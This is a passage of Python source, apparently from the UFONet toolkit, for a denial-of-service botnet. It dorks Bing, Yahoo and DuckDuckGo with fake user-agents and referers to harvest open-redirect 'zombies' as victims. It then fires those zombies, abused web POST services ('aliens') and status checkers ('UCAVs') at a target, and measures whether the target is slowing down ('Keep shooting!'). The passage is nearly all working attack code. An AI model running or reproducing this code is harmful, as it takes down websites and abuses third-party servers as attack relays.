  2644. print("[AI] "+self.exit_msg+"\n")
  2645. def create_web_interface(self):
  2646. # launch webserver+gui
  2647. from .webgui import ClientThread
  2648. import webbrowser
  2649. host = '0.0.0.0'
  2650. port = 9999
  2651. try:
  2652. webbrowser.open('http://127.0.0.1:9999', new=1)
  2653. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2654. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2655. tcpsock.bind((host,port))
  2656. while True:
  2657. tcpsock.listen(4)
  2658. (clientsock, (ip, port)) = tcpsock.accept()
  2659. newthread = ClientThread(ip, port, clientsock)
  2660. newthread.start()
  2661. except (KeyboardInterrupt, SystemExit):
  2662. sys.exit()
  2663. def extract_dorks(self):
  2664. # extract dorks from file (ex: 'dorks.txt')
  2665. try:
  2666. f = open(self.dorks_file)
  2667. dorks = f.readlines()
  2668. dorks = [ dork.replace('\n','') for dork in dorks ]
  2669. f.close()
  2670. if not dorks:
  2671. if not options.autosearch:
  2672. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2673. return
  2674. else:
  2675. return dorks
  2676. except:
  2677. if not options.autosearch:
  2678. if os.path.exists(self.dorks_file) == True:
  2679. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2680. return #sys.exit(2)
  2681. else:
  2682. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2683. return #sys.exit(2)
  2684. else:
  2685. return
  2686. def search_zombies(self, dork, zombies_found):
  2687. # crawlering on search engine results to extract zombies
  2688. options = self.options
  2689. zombies = []
  2690. if not options.engine: # default search engine
  2691. options.engine = 'duck'
  2692. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2693. url = 'https://www.bing.com/search?'
  2694. if options.search: # search from query
  2695. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2696. if options.dorks or options.autosearch: # search from a dork
  2697. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2698. start = 0 # set index number of first entry
  2699. query_string = { 'q':q, 'first':start }
  2700. data = urllib.parse.urlencode(query_string)
  2701. url = url + data
  2702. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2703. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2704. if options.verbose:
  2705. print("[Info] [AI] Query used: " + url)
  2706. print("\n" + '-'*44 + '\n')
  2707. try:
  2708. if options.proxy: # set proxy
  2709. self.proxy_transport(options.proxy)
  2710. req = urllib.request.Request(url, None, headers)
  2711. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2712. except:
  2713. print('[Error] [AI] Unable to connect to: bing\n')
  2714. if options.allengines or options.autosearch:
  2715. return
  2716. if not options.dorks or not options.autosearch:
  2717. if not self.options.forceyes:
  2718. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2719. else:
  2720. update_reply = "Y"
  2721. if update_reply == "n" or update_reply == "N":
  2722. return #sys.exit(2)
  2723. print("\nSearch engines available:")
  2724. print('-'*25)
  2725. for e in self.search_engines:
  2726. print("+ "+e)
  2727. print('-'*25)
  2728. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2729. return #sys.exit(2)
  2730. else:
  2731. req_reply = ''
  2732. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2733. pattern = re.compile(regex)
  2734. url_links = re.findall(pattern, req_reply)
  2735. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2736. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2737. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2738. location = str(random.choice(location).strip()) # shuffle location
  2739. if location == "jp": # [28/02/2019]
  2740. url = 'https://search.yahoo.co.jp/search?'
  2741. else:
  2742. url = 'https://'+location+'.search.yahoo.com/search?'
  2743. if options.search: # search from query
  2744. if location == "jp":
  2745. q = '"' + str(options.search) + '"' # set query to search literally on results
  2746. else:
  2747. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2748. if options.dorks or options.autosearch: # search from a dork
  2749. if location == "jp":
  2750. q = '"' + str(dork) + '"' # set query to search literally on results
  2751. else:
  2752. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2753. start = 0 # set index number of first entry
  2754. query_string = { 'p':q, 'b':start }
  2755. data = urllib.parse.urlencode(query_string)
  2756. url = url + data
  2757. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2758. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2759. if options.verbose:
  2760. print(("Query used: " + url + "\n"))
  2761. try:
  2762. if options.proxy: # set proxy
  2763. self.proxy_transport(options.proxy)
  2764. req = urllib.request.Request(url, None, headers)
  2765. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2766. except:
  2767. print('[Error] [AI] Unable to connect to: yahoo\n')
  2768. if options.allengines or options.autosearch:
  2769. return
  2770. if not options.dorks or not options.autosearch:
  2771. if not self.options.forceyes:
  2772. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2773. else:
  2774. update_reply = "Y"
  2775. if update_reply == "n" or update_reply == "N":
  2776. return #sys.exit(2)
  2777. print("\nSearch engines available:")
  2778. print('-'*25)
  2779. for e in self.search_engines:
  2780. print("+ "+e)
  2781. print('-'*25)
  2782. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2783. return #sys.exit(2)
  2784. else:
  2785. req_reply = ''
  2786. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2787. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2788. pattern = re.compile(regex)
  2789. url_links = re.findall(pattern, req_reply)
  2790. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2791. url = 'https://duckduckgo.com/html/'
  2792. if options.search: # search from query
  2793. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2794. if options.dorks or options.autosearch: # search from a dork
  2795. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2796. query_string = { 'q':q }
  2797. data = urllib.parse.urlencode(query_string)
  2798. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2799. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2800. if options.verbose:
  2801. print("Query used: " + url + " (POST: "+ data + ")\n")
  2802. try:
  2803. if options.proxy: # set proxy
  2804. self.proxy_transport(options.proxy)
  2805. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2806. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2807. except:
  2808. print('[Error] [AI] Unable to connect to: duck\n')
  2809. if options.allengines or options.autosearch:
  2810. return
  2811. if not options.dorks or not options.autosearch:
  2812. if not self.options.forceyes:
  2813. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2814. else:
  2815. update_reply = "Y"
  2816. if update_reply == "n" or update_reply == "N":
  2817. return #sys.exit(2)
  2818. print("\nSearch engines available:")
  2819. print('-'*25)
  2820. for e in self.search_engines:
  2821. print("+ "+e)
  2822. print('-'*25)
  2823. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2824. return #sys.exit(2)
  2825. else:
  2826. req_reply = ''
  2827. regex = 'snippet" href="(.+?)">' # regex magics
  2828. pattern = re.compile(regex)
  2829. url_links = re.findall(pattern, req_reply)
  2830. else: # no valid search engine
  2831. print('[Error] [AI] This search engine is not supported!\n')
  2832. if not options.dorks or options.autosearch:
  2833. if not self.options.forceyes:
  2834. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2835. else:
  2836. update_reply = "Y"
  2837. if update_reply == "n" or update_reply == "N":
  2838. return #sys.exit(2)
  2839. print("\nSearch engines available:")
  2840. print('-'*25)
  2841. for e in self.search_engines:
  2842. print("+ "+e)
  2843. print('-'*25)
  2844. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2845. return #sys.exit(2)
  2846. else:
  2847. req_reply = ''
  2848. if options.num_results: # set number of results to search
  2849. try:
  2850. num = int(options.num_results)
  2851. except:
  2852. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2853. num = 10
  2854. else:
  2855. num = 10
  2856. total_results = 1
  2857. for url in url_links: # general parse on urls
  2858. if int(num) < int(total_results):
  2859. break
  2860. if options.engine == "bing":
  2861. if " h=" in url: # regex magics [18/08/2016]
  2862. url = url.rsplit('" h=',1)[0]
  2863. if options.engine == "yahoo":
  2864. if 'RU=' in url: # regex magics [18/08/2016]
  2865. url = url.rsplit('RU=',1)[1]
  2866. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2867. url = url.rsplit('UTF-8&u=',1)[1]
  2868. total_results = total_results + 1 # results counter
  2869. url_link = urllib.parse.unquote(url) # unquote encoding
  2870. if options.search:
  2871. sep = str(options.search)
  2872. if options.dorks or options.autosearch:
  2873. sep = str(dork)
  2874. url_link = url_link.rsplit(sep, 1)[0] + sep
  2875. if 'href="' in url_link:
  2876. url_link = url_link.rsplit('href="', 1)[1]
  2877. if "instreamset" in url_link: # invalid zombie
  2878. url_link = "" # discarded
  2879. if '" ' in url_link:
  2880. url_link = url_link.rsplit('" ', 1)[1]
  2881. if options.engine in url_link:
  2882. url_link = "" # discarded
  2883. if 'http' not in url_link:
  2884. url_link = "" # discarded
  2885. else:
  2886. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2887. print('+Victim found: ' + url_link)
  2888. print('-'*12)
  2889. zombies.append(url_link)
  2890. else:
  2891. pass
  2892. if len(zombies) == 0: # print dorking results
  2893. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2894. if not options.dorks:
  2895. if not options.autosearch:
  2896. if not self.options.forceyes:
  2897. return #sys.exit(2)
  2898. print("\n" + '-'*44 + '\n')
  2899. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2900. return zombies
  2901. def check_nat(self):
  2902. # check for NAT configuration
  2903. options = self.options
  2904. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2905. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2906. check_ip_service = None
  2907. if not tor_reply or 'Congratulations' not in tor_reply:
  2908. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2909. else:
  2910. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2911. self.nat_error_flag = "ON"
  2912. return #sys.exit(2)
  2913. try:
  2914. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2915. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2916. check_ip_service = self.check_ip_service1
  2917. except:
  2918. try: # another check for public ip
  2919. data = str(urlopen(self.check_ip_service2).read())
  2920. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2921. check_ip_service = self.check_ip_service2
  2922. except:
  2923. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2924. self.nat_error_flag = "ON"
  2925. return
  2926. t = urlparse(check_ip_service)
  2927. name_service = t.netloc
  2928. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2929. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2930. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2931. self.local_ip = s.getsockname()[0]
  2932. print(" + Local: " + self.local_ip + "\n")
  2933. print('='*22 + '\n')
  2934. def extract_ucavs(self):
  2935. # extract ucavs from file
  2936. options = self.options
  2937. try:
  2938. f = open(self.ucavs_file)
  2939. ucavs = f.readlines()
  2940. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2941. f.close()
  2942. if not ucavs:
  2943. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2944. self.options.disableucavs = True
  2945. return
  2946. else:
  2947. return ucavs
  2948. except:
  2949. if os.path.exists(self.ucavs_file) == True:
  2950. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2951. return #sys.exit(2)
  2952. else:
  2953. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2954. return #sys.exit(2)
  2955. def discarding_ucavs(self, ucav, ucavs):
  2956. if ucav in self.discard_ucavs:
  2957. ucavs.remove(ucav)
  2958. if self.options.verbose:
  2959. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2960. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2961. return ucavs
  2962. def send_ucavs(self, ucavs):
  2963. # extract external status checkers, perform a request and check results
  2964. time.sleep(5) # aiming (multi-threading flow time compensation)
  2965. if not self.options.disablepurge:
  2966. if not ucavs: # return when not any working
  2967. self.options.disableucavs = True
  2968. return
  2969. options = self.options
  2970. target = self.options.target
  2971. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2972. if not self.options.disablepurge:
  2973. for ucav in ucavs:
  2974. if not ucav.startswith('http'): # discarded inmediately
  2975. self.discard_ucavs.append(ucav)
  2976. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2977. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2978. if not self.options.disablepurge:
  2979. if not ucavs: # return when not any working
  2980. self.options.disableucavs = True
  2981. return
  2982. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2983. for ucav in ucavs:
  2984. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2985. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2986. if target.startswith("http://"): # parse target for some checkers
  2987. target = target.replace('http://','')
  2988. elif target.startswith("https://"):
  2989. target = target.replace('https://','')
  2990. url = ucav + target
  2991. t = urlparse(ucav)
  2992. name_ucav = t.netloc
  2993. if name_ucav == "":
  2994. name_ucav = ucav
  2995. if options.verbose:
  2996. print(("[Info] [UCAVs] Sniping: " + url))
  2997. try:
  2998. if options.proxy: # set proxy
  2999. self.proxy_transport(options.proxy)
  3000. if options.timeout: # set timeout
  3001. ucav_timeout = options.timeout
  3002. else:
  3003. ucav_timeout = 5
  3004. if ucav_timeout < 1:
  3005. ucav_timeout = 5
  3006. req = urllib.request.Request(url, None, headers)
  3007. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  3008. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3009. except:
  3010. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3011. if not self.options.disablepurge:
  3012. self.discard_ucavs.append(ucav)
  3013. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3014. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3015. target_reply = ""
  3016. if target_reply == "": # check for target's status resolved by [UCAVs]
  3017. pass
  3018. else:
  3019. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3020. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3021. self.num_is_up = self.num_is_up + 1
  3022. else:
  3023. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3024. self.num_is_down = self.num_is_down + 1
  3025. if self.options.verbose:
  3026. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3027. self.extra_zombies_lock = False # [ARMY] have finished
  3028. def extract_median(self, num_list):
  3029. # extract median from a list of numbers
  3030. import statistics
  3031. int_num = []
  3032. for num in num_list:
  3033. num = float(num)
  3034. int_num.append(num)
  3035. return statistics.median(int_num)
  3036. def check_is_loading(self, target):
  3037. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3038. self.start = None
  3039. self.stop = None
  3040. print('\n---------')
  3041. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3042. if target.endswith(""):
  3043. target.replace("", "/")
  3044. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3045. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3046. try:
  3047. req = urllib.request.Request(target, None, headers)
  3048. if self.options.proxy: # set proxy
  3049. self.proxy_transport(self.options.proxy)
  3050. if self.options.timeout: # set timeout
  3051. try:
  3052. timeout = int(self.options.timeout)
  3053. except:
  3054. timeout = 5
  3055. else:
  3056. timeout = 5
  3057. if timeout < 1:
  3058. timeout = 5
  3059. self.start = time.time()
  3060. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3061. header = urllib.request.urlopen(req, context=self.ctx).info()
  3062. self.stop = time.time()
  3063. except:
  3064. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3065. return
  3066. try:
  3067. s, size_name = self.convert_size(len(target_reply))
  3068. self.loadcheck_size_list.append(s) # add record to size list
  3069. size = '%s %s' % (s,size_name)
  3070. except:
  3071. size = "Error!"
  3072. try:
  3073. time_required = self.stop - self.start
  3074. load = self.convert_time(time_required)
  3075. self.loadcheck_load_list.append(load) # add record to load list
  3076. except:
  3077. load = "Error!"
  3078. self.loadcheck_counter = self.loadcheck_counter + 1
  3079. print(' -Total tests:', self.loadcheck_counter, "\n")
  3080. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3081. lsm = self.extract_median(self.loadcheck_size_list)
  3082. if lsm is not None:
  3083. self.loadcheck_size_median = str(lsm) + " " + size_name
  3084. else:
  3085. self.loadcheck_size_median = None
  3086. llm = self.extract_median(self.loadcheck_load_list)
  3087. if llm is not None:
  3088. self.loadcheck_load_median = str(llm) + " seconds"
  3089. else:
  3090. self.loadcheck_load_median = None
  3091. if self.loadcheck_counter == 2: # first round
  3092. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3093. print(' -Bytes in (this round) :', size)
  3094. if self.loadcheck_size_median is not None:
  3095. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3096. print(' ----')
  3097. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3098. print(' -Load time (this round) :', load, "seconds")
  3099. if self.loadcheck_load_median is not None:
  3100. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3101. else:
  3102. print("\n")
  3103. self.loadcheck_size_max = None
  3104. self.loadcheck_size_min = None
  3105. self.loadcheck_load_max = None
  3106. self.loadcheck_load_min = None
  3107. elif self.loadcheck_counter > 2: # rest of rounds
  3108. lsmax = max(self.loadcheck_size_list)
  3109. if lsmax is not None:
  3110. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3111. else:
  3112. self.loadcheck_size_max = None
  3113. lsmin = min(self.loadcheck_size_list)
  3114. if lsmin is not None:
  3115. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3116. else:
  3117. self.loadcheck_size_min = None
  3118. llmax = max(self.loadcheck_load_list)
  3119. if llmax is not None:
  3120. self.loadcheck_load_max = str(llmax) + " seconds"
  3121. else:
  3122. self.loadcheck_load_max = None
  3123. llmin = min(self.loadcheck_load_list)
  3124. if llmin is not None:
  3125. self.loadcheck_load_min = str(llmin) + " seconds"
  3126. else:
  3127. self.loadcheck_load_min = None
  3128. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3129. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3130. print(' -Bytes in (this round) :', size)
  3131. if self.loadcheck_size_max is not None:
  3132. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3133. if self.loadcheck_size_min is not None:
  3134. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3135. if self.loadcheck_size_median is not None:
  3136. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3137. print(' ----')
  3138. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3139. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3140. print(' -Load time (this round) :', load, "seconds")
  3141. if self.loadcheck_load_max is not None:
  3142. print(' -Load time (max) :', self.loadcheck_load_max)
  3143. if self.loadcheck_load_min is not None:
  3144. print(' -Load time (min) :', self.loadcheck_load_min)
  3145. if self.loadcheck_load_median is not None:
  3146. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3147. else:
  3148. print("\n")
  3149. if self.loadcheck_prev_load < load: # target is loading more slowly
  3150. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3151. elif self.loadcheck_prev_load == load: # inmutable target
  3152. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3153. elif self.loadcheck_prev_load > load: # is target defending?
  3154. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3155. else:
  3156. print(' -Bytes in (this round) :', size)
  3157. print(' -Load time (this round):', load, "seconds\n")
  3158. self.loadcheck_first_size = size
  3159. self.loadcheck_first_load = load
  3160. self.loadcheck_size_median = None
  3161. self.loadcheck_load_median = None
  3162. self.loadcheck_size_max = None
  3163. self.loadcheck_size_min = None
  3164. self.loadcheck_load_max = None
  3165. self.loadcheck_load_min = None
  3166. self.loadcheck_prev_size = size # record previous size
  3167. self.loadcheck_prev_load = load # record previous load
  3168. def convert_size(self, size):
  3169. if (size == 0):
  3170. return '0 B'
  3171. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3172. i = int(math.floor(math.log(size,1024)))
  3173. p = math.pow(1024,i)
  3174. s = round(size/p,2)
  3175. return s, size_name[i]
  3176. def convert_time(self, time):
  3177. return '%.2f' % time
  3178. def discarding_zombies(self, zombie, zombies):
  3179. if zombie in self.discardzombies:
  3180. zombies.remove(zombie)
  3181. if self.options.verbose:
  3182. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3183. return zombies
  3184. def send_zombies(self, zombies):
  3185. # send Open Redirect zombies
  3186. time.sleep(1) # aiming (multi-threading flow time compensation)
  3187. if not self.options.disablepurge:
  3188. if not zombies:
  3189. self.empty_zombies = True
  3190. return
  3191. if self.options.verbose:
  3192. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3193. options = self.options
  3194. target = self.options.target
  3195. shuffle(zombies) # shuffle zombies order, each round :-)
  3196. if not self.options.disablepurge:
  3197. for zombie in zombies: # check if zombie is failing for autobalance army
  3198. if not zombie.startswith('http'): # discarded inmediately
  3199. self.discardzombies.append(zombie)
  3200. self.num_discard_zombies = self.num_discard_zombies + 1
  3201. zombies = self.discarding_zombies(zombie, zombies)
  3202. if not self.options.disablepurge:
  3203. if not zombies: # return when not any working
  3204. self.empty_zombies = True
  3205. return
  3206. for zombie in zombies:
  3207. t = urlparse(zombie)
  3208. name_zombie = t.netloc
  3209. if name_zombie == "":
  3210. name_zombie = zombie
  3211. if not self.options.attackme:
  3212. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3213. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3214. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3215. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3216. self.options.target = target
  3217. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3218. print("[Info] [Zombies] Payload: " + target)
  3219. print('='*55, "\n")
  3220. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3221. if not options.target.startswith('http'):
  3222. if options.forcessl:
  3223. options.target = "https://" + options.target
  3224. else:
  3225. options.target = "http://" + options.target
  3226. self.attack_mode = True
  3227. try:
  3228. if options.verbose:
  3229. print("[Info] [Zombies] Sniping: " + options.target)
  3230. self.connect_zombies(zombie)
  3231. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3232. self.db_flash = self.db_flash + 1
  3233. stress = self.stressing(target, zombie)
  3234. except Exception:
  3235. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3236. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3237. if not self.options.disablepurge:
  3238. self.discardzombies.append(zombie)
  3239. self.num_discard_zombies = self.num_discard_zombies + 1
  3240. if self.options.verbose:
  3241. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3242. self.attack_mode = False
  3243. def discarding_aliens(self, alien, aliens):
  3244. if alien in self.discard_aliens:
  3245. aliens.remove(alien)
  3246. if self.options.verbose:
  3247. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3248. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3249. return aliens
  3250. def send_aliens(self, aliens):
  3251. # extract external web abuse services urls (POST) and perform requests against target
  3252. time.sleep(2) # aiming (multi-threading flow time compensation)
  3253. if not self.options.disablepurge:
  3254. if not aliens: # return when not any working
  3255. self.options.disablealiens = True
  3256. return
  3257. target = self.options.target
  3258. options = self.options
  3259. shuffle(aliens) # shuffle aliens
  3260. if not self.options.disablepurge:
  3261. for alien in aliens:
  3262. if not alien.startswith('http'): # discarded inmediately
  3263. self.discard_aliens.append(alien)
  3264. self.num_discard_aliens = self.num_discard_aliens + 1
  3265. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3266. if not self.options.disablepurge:
  3267. if not aliens: # return when not any working
  3268. self.options.disablealiens = True
  3269. return
  3270. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3271. for alien in aliens:
  3272. name_alien = None
  3273. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3274. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3275. pattern_alien = re.compile(regex_alien)
  3276. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3277. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3278. pattern_param = re.compile(regex_param)
  3279. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3280. for u in alien_url:
  3281. url = u # ex: POST -> path/submit.php
  3282. t = urlparse(url)
  3283. name_alien = t.netloc
  3284. if name_alien == "":
  3285. name_alien = alien
  3286. print("[Info] [Aliens] Attacking from: " + name_alien)
  3287. for p in param:
  3288. param_target = {p : target} # ex POST -> url=target
  3289. param_target = urllib.parse.urlencode(param_target)
  3290. try:
  3291. if options.verbose:
  3292. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3293. if options.proxy: # set proxy
  3294. self.proxy_transport(options.proxy)
  3295. if self.options.timeout: # set timeout
  3296. try:
  3297. alien_timeout = int(self.options.timeout)
  3298. except:
  3299. alien_timeout = 5
  3300. else:
  3301. alien_timeout = 5
  3302. if alien_timeout < 1:
  3303. alien_timeout = 5
  3304. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3305. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3306. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3307. except Exception:
  3308. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3309. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3310. if not self.options.disablepurge:
  3311. self.discard_aliens.append(alien)
  3312. self.num_discard_aliens = self.num_discard_aliens + 1
  3313. else:
  3314. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3315. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3316. if not self.options.disablepurge:
  3317. self.discard_aliens.append(alien)
  3318. self.num_discard_aliens = self.num_discard_aliens + 1
  3319. if self.options.verbose:
  3320. if name_alien:
  3321. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3322. else:
  3323. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3324. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3325. self.extra_zombies_lock = False # [ARMY] have finished
  3326. def extract_aliens(self):
  3327. # extract aliens from file
  3328. options = self.options
  3329. try:
  3330. f = open(self.aliens_file)
  3331. aliens = f.readlines()
  3332. aliens = [ alien.replace('\n','') for alien in aliens ]
  3333. f.close()
  3334. if not aliens:
  3335. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3336. self.options.disablealiens = True
  3337. return
  3338. else:
  3339. return aliens
  3340. except:
  3341. if os.path.exists(self.aliens_file) == True:
  3342. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3343. return #sys.exit(2)
  3344. else:
  3345. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3346. return #sys.exit(2)
  3347. def discarding_droids(self, droid, droids):
  3348. if droid in self.discard_droids:
  3349. droids.remove(droid)
  3350. if self.options.verbose:
  3351. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3352. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3353. return droids
  3354. def send_droids(self, droids):
